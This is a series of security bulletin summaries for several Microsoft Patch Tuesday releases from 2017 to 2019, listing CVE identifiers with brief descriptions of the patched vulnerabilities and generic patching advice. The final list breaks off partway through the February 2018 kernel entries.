An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11913) MS Rating: Important
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11916) MS Rating: Important
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Office
Microsoft Exchange Spoofing Vulnerability (CVE-2017-11932) MS Rating: Important
A spoofing vulnerability exists in Microsoft Exchange Server when Outlook Web Access (OWA) fails to properly handle web requests. An attacker can exploit this issue to perform script or content injection attacks, and attempt to trick the user into disclosing sensitive information.
Microsoft PowerPoint Information Disclosure Vulnerability (CVE-2017-11934) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Office improperly discloses the contents of its memory. An attacker can exploit this issue to obtain sensitive information to compromise the user computer or data.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2017-11935) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2017-11936) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office Information Disclosure Vulnerability (CVE-2017-11939) MS Rating: Important
An information disclosure vulnerability exists when Visual Basic macros in Office improperly export a user's private key from the certificate store while saving a document. An attacker can exploit this issue to gain access to the user private key.
Cumulative Security Update for Microsoft Windows
Windows RRAS Service Remote Code Execution Vulnerability (CVE-2017-11885) MS Rating: Important
A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system.
Microsoft Windows Security Bypass Vulnerability (CVE-2017-11899) MS Rating: Important
A security bypass vulnerability exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this issue could make an unsigned file appear to be signed.
Microsoft Windows Information Disclosure Vulnerability (CVE-2017-11927) MS Rating: Important
An information disclosure vulnerability exists when the Windows protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This may result in the disclosure of sensitive information to a malicious site.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – December 2018
This month the vendor has patched 39 vulnerabilities, 9 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the December 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft .NET Framework
Microsoft Dynamics NAV
Microsoft Exchange Server
Microsoft Windows
Microsoft Visual Studio
Windows Azure Pack
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8583) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8617) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8618) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8629) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8631) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8624) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Remote Code Execution Vulnerability (CVE-2018-8619) MS Rating: Important
A remote code execution vulnerability exists when the Internet Explorer VBScript execution policy does not properly restrict VBScript under specific conditions. An attacker who exploited the vulnerability could run arbitrary code with medium-integrity level privileges (the permissions of the current user).
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2018-8625) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8643) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft SharePoint Information Disclosure Vulnerability (CVE-2018-8580) MS Rating: Important
An information disclosure vulnerability exists where certain modes of the search function. An attacker can exploit this issue to conduct cross-site search attacks and obtain Personally Identifiable Information (PII).
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2018-8587) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Outlook software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8597) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Information Disclosure Vulnerability (CVE-2018-8598) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user’s computer or data.
Microsoft Excel Information Disclosure Vulnerability (CVE-2018-8627) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel software reads out of bound memory due to an uninitialized variable, which could disclose the contents of memory. An attacker who successfully exploited the vulnerability could view out of bound memory.
Microsoft PowerPoint Remote Code Execution Vulnerability (CVE-2018-8628) MS Rating: Important
A remote code execution vulnerability exists in Microsoft PowerPoint software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Server Privilege Escalation Vulnerability (CVE-2018-8635) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted authentication request to an affected SharePoint server. An attacker who successfully exploited this vulnerability could execute malicious code on a vulnerable server in the context of the SharePoint application pool account.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8636) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office SharePoint XSS Vulnerability (CVE-2018-8650) MS Rating: Important
A cross-site-scripting vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8477) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Windows Kernel Privilege Escalation Vulnerability (CVE-2018-8611) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8621) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8622) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Win32k Information Disclosure Vulnerability (CVE-2018-8637) MS Rating: Important
An information disclosure vulnerability exists in Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (KASLR) bypass. An attacker who successfully exploited this vulnerability could retrieve the memory address of a kernel object.
Win32k Privilege Escalation Vulnerability (CVE-2018-8639) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2018-8641) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Windows DNS Server Heap Overflow Vulnerability (CVE-2018-8626) MS Rating: Critical
A remote code execution vulnerability exists in Windows Domain Name System (DNS) servers when they fail to properly handle requests. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the Local System Account.
Microsoft Text-To-Speech Remote Code Execution Vulnerability (CVE-2018-8634) MS Rating: Critical
A remote code execution vulnerability exists in Windows where Microsoft text-to-speech fails to properly handle objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
Remote Procedure Call runtime Information Disclosure Vulnerability (CVE-2018-8514) MS Rating: Important
An information disclosure vulnerability exists when Remote Procedure Call runtime improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8595) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8596) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Diagnostics Hub Standard Collector Service Privilege Escalation Vulnerability (CVE-2018-8599) MS Rating: Important
A privilege escalation vulnerability exists when the Diagnostics Hub Standard Collector Service improperly impersonates certain file operations. An attacker who successfully exploited this vulnerability could gain elevated privileges.
Connected User Experiences and Telemetry Service Denial of Service Vulnerability (CVE-2018-8612) MS Rating: Important
A Denial Of Service vulnerability exists when Connected User Experiences and Telemetry Service fails to validate certain function values. An attacker who successfully exploited this vulnerability could deny dependent security feature functionality.
DirectX Information Disclosure Vulnerability (CVE-2018-8638) MS Rating: Important
An information disclosure vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Windows Denial of Service Vulnerability (CVE-2018-8649) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory.. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Security Update for Microsoft .NET Framework
.NET Framework Remote Code Injection Vulnerability (CVE-2018-8540) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft . NET Framework fails to validate input properly. An attacker who successfully exploited this vulnerability could take control of an affected system.
.NET Framework Denial Of Service Vulnerability (CVE-2018-8517) MS Rating: Important
A denial of service vulnerability exists when .NET Framework improperly handles special web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against an .NET Framework web application.
Security Update for Microsoft Exchange Server
Microsoft Exchange Server Tampering Vulnerability (CVE-2018-8604) MS Rating: Important
A tampering vulnerability exists when Microsoft Exchange Server fails to properly handle profile data. An attacker who successfully exploited this vulnerability could modify a targeted user's profile data.
Security Update for Microsoft Windows Azure Pack
Windows Azure Pack Cross Site Scripting Vulnerability (CVE-2018-8652) MS Rating: Important
A cross-site Scripting vulnerability exists when Windows Azure Pack does not properly sanitize user-provided input.
Security Update for Microsoft Dynamics NAV
Microsoft Dynamics NAV Cross Site Scripting Vulnerability (CVE-2018-8651) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics NAV does not properly sanitize a specially crafted web request to an affected Dynamics NAV server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected Dynamics NAV server.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – December 2019
This month the vendor has patched 36 vulnerabilities, 7 of which are rated Critical.
This month the vendor has patched 36 vulnerabilities, 7 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the December 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Office
Microsoft Windows
Microsoft Hyper-V
Graphics Device Interface (GDI)
Microsoft Windows Kernel
SQL Server
Visual Studio
Microsoft Authentication Library for Android
Microsoft Defender
Skype for Business Server
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Internet Explorer
VBScript Remote Code Execution Vulnerability (CVE-2019-1485) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Office
Microsoft Word Denial of Service Vulnerability (CVE-2019-1461) MS Rating: Important
A denial of service vulnerability exists in Microsoft Word software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could cause a remote denial of service against a system.
Microsoft PowerPoint Remote Code Execution Vulnerability (CVE-2019-1462) MS Rating: Important
A remote code execution vulnerability exists in Microsoft PowerPoint software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Access Information Disclosure Vulnerability (CVE-2019-1463) MS Rating: Important
An information disclosure vulnerability exists in Microsoft Access software when the software fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Microsoft Excel Information Disclosure Vulnerability (CVE-2019-1464) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user's computer or data.
Microsoft Access Information Disclosure Vulnerability (CVE-2019-1400) MS Rating: Important
An information disclosure vulnerability exists in Microsoft Access software when the software fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Privilege Escalation Vulnerability (CVE-2019-1458) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Information Disclosure Vulnerability (CVE-2019-1469) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1472) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1474) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Hyper-V
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-1471) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Information Disclosure Vulnerability (CVE-2019-1470) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information.
Security Update for Microsoft Graphics
Win32k Graphics Remote Code Execution Vulnerability (CVE-2019-1468) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could take control of the affected system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1465) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1466) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1467) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Security Update for Microsoft Windows
Windows Privilege Escalation Vulnerability (CVE-2019-1476) MS Rating: Important
A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Printer Service Privilege Escalation Vulnerability (CVE-2019-1477) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Printer Service improperly validates file paths while loading printer drivers. An authenticated attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges.
Windows COM Server Privilege Escalation Vulnerability (CVE-2019-1478) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles COM object creation. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
Windows Media Player Information Disclosure Vulnerability (CVE-2019-1480) MS Rating: Important
An information disclosure vulnerability exists in Windows Media Player when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows Media Player Information Disclosure Vulnerability (CVE-2019-1481) MS Rating: Important
An information disclosure vulnerability exists in Windows Media Player when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows Privilege Escalation Vulnerability (CVE-2019-1483) MS Rating: Important
A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles junctions. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows OLE Remote Code Execution Vulnerability (CVE-2019-1484) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Windows OLE fails to properly validate user input. An attacker could exploit the vulnerability to execute malicious code.
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability (CVE-2019-1453) MS Rating: Important
A denial of service vulnerability exists in Remote Desktop Protocol (RDP) when an attacker connects to the target system using RDP and sends specially crafted requests. An attacker who successfully exploited this vulnerability could cause the RDP service on the target system to stop responding.
Remote Desktop Protocol Information Disclosure Vulnerability (CVE-2019-1489) MS Rating: Important
An information disclosure vulnerability exists when the Windows Remote Desktop Protocol (RDP) fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Security Update for Microsoft SQL Server
Microsoft SQL Server Reporting Services XSS Vulnerability (CVE-2019-1332) MS Rating: Important
A cross-site scripting (XSS) vulnerability exists when Microsoft SQL Server Reporting Services (SSRS) does not properly sanitize a specially-crafted web request to an affected SSRS server. An attacker who successfully exploited the vulnerability could run scripts in the contect of the targeted user.
Security Update for Microsoft Visual Studio
Git for Visual Studio Remote Code Execution Vulnerability (CVE-2019-1349) MS Rating: Critical
A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input. An attacker who successfully exploited this vulnerability could take control of an affected system.
Git for Visual Studio Remote Code Execution Vulnerability (CVE-2019-1350) MS Rating: Critical
A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input. An attacker who successfully exploited this vulnerability could take control of an affected system.
Git for Visual Studio Remote Code Execution Vulnerability (CVE-2019-1352) MS Rating: Critical
A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input. An attacker who successfully exploited this vulnerability could take control of an affected system.
Git for Visual Studio Remote Code Execution Vulnerability (CVE-2019-1354) MS Rating: Critical
A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input. An attacker who successfully exploited this vulnerability could take control of an affected system.
Git for Visual Studio Remote Code Execution Vulnerability (CVE-2019-1387) MS Rating: Critical
A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input. An attacker who successfully exploited this vulnerability could take control of an affected system.
Visual Studio Live Share Spoofing Vulnerability (CVE-2019-1486) MS Rating: Important
A spoofing vulnerability exists in Visual Studio Live Share when a guest connected to a Live Share session is redirected to an arbitrary URL specified by the session host. An attacker who successfully exploited this vulnerability could cause a connected guest's computer to open a browser and navigate to a URL without consent from the guest.
Git for Visual Studio Tampering Vulnerability (CVE-2019-1351) MS Rating: Moderate
A tampering vulnerability exists when Git for Visual Studio improperly handles virtual drive paths. An attacker who successfully exploited this vulnerability could write arbitrary files and directories to certain locations on a vulnerable system.
Security Update for Microsoft Authentication Library for Android
Microsoft Authentication Library for Android Information Disclosure Vulnerability (CVE-2019-1487) MS Rating: Important
An information disclosure vulnerability in Android Apps using Microsoft Authentication Library (MSAL) 0.3.1-Alpha or later exists under specific conditions. This vulnerability could result in sensitive data being exposed.
Security Update for Microsoft Defender
Microsoft Defender Security Bypass Vulnerability (CVE-2019-1488) MS Rating: Important
A security bypass vulnerability exists when Microsoft Defender improperly handles specific buffers. An attacker could exploit the vulnerability to trigger warnings and false positives when no threat is present.
Security Update for Skype for Business Server
Skype for Business and Lync Spoofing Vulnerability (CVE-2019-1490) MS Rating: Important
A spoofing vulnerability exists when a Lync Server or Skype for Business Server does not properly sanitize a specially crafted request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected server.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – February 2018
This month the vendor has patched 50 vulnerabilities, 14 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the February 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
Microsoft Windows
ChakraCore
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0763) MS Rating: Critical
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user’s system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0834) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0835) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0837) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0838) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0840) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0856) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0857) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0858) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0859) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0860) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0861) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0836) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0839) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user’s system.
Windows Scripting Engine Memory Corruption Vulnerability (CVE-2018-0847) MS Rating: Important
An information disclosure vulnerability exists when VBScript improperly discloses the contents of its memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user’s system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0866) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Security Feature Bypass (CVE-2018-0771) MS Rating: Moderate
A security bypass vulnerability exists when Microsoft Edge improperly handles requests of different origins. The vulnerability allows Microsoft Edge to bypass Same-Origin Policy (SOP) restrictions, and to allow requests that should otherwise be ignored.
Cumulative Security Update for Microsoft Office
Microsoft Outlook Memory Corruption Vulnerability (CVE-2018-0852) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Outlook when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Outlook Elevation of Privilege Vulnerability (CVE-2018-0850) MS Rating: Important
A privilege escalation vulnerability exists when Outlook initiates processing of incoming messages without sufficient validation of the formatting of the messages. An attacker who successfully exploited the vulnerability could attempt to force Outlook to load a local or remote message store (over SMB).
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0851) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the Office software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Information Disclosure Vulnerability (CVE-2018-0853) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Office software reads out of bound memory due to an uninitialized variable, which could disclose the contents of memory. An attacker who successfully exploited the vulnerability could view out of bound memory.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0864) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0869) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-0841) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Elevation of Privilege Vulnerability (CVE-2018-0742) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2018-0756) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0757) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user’s system.
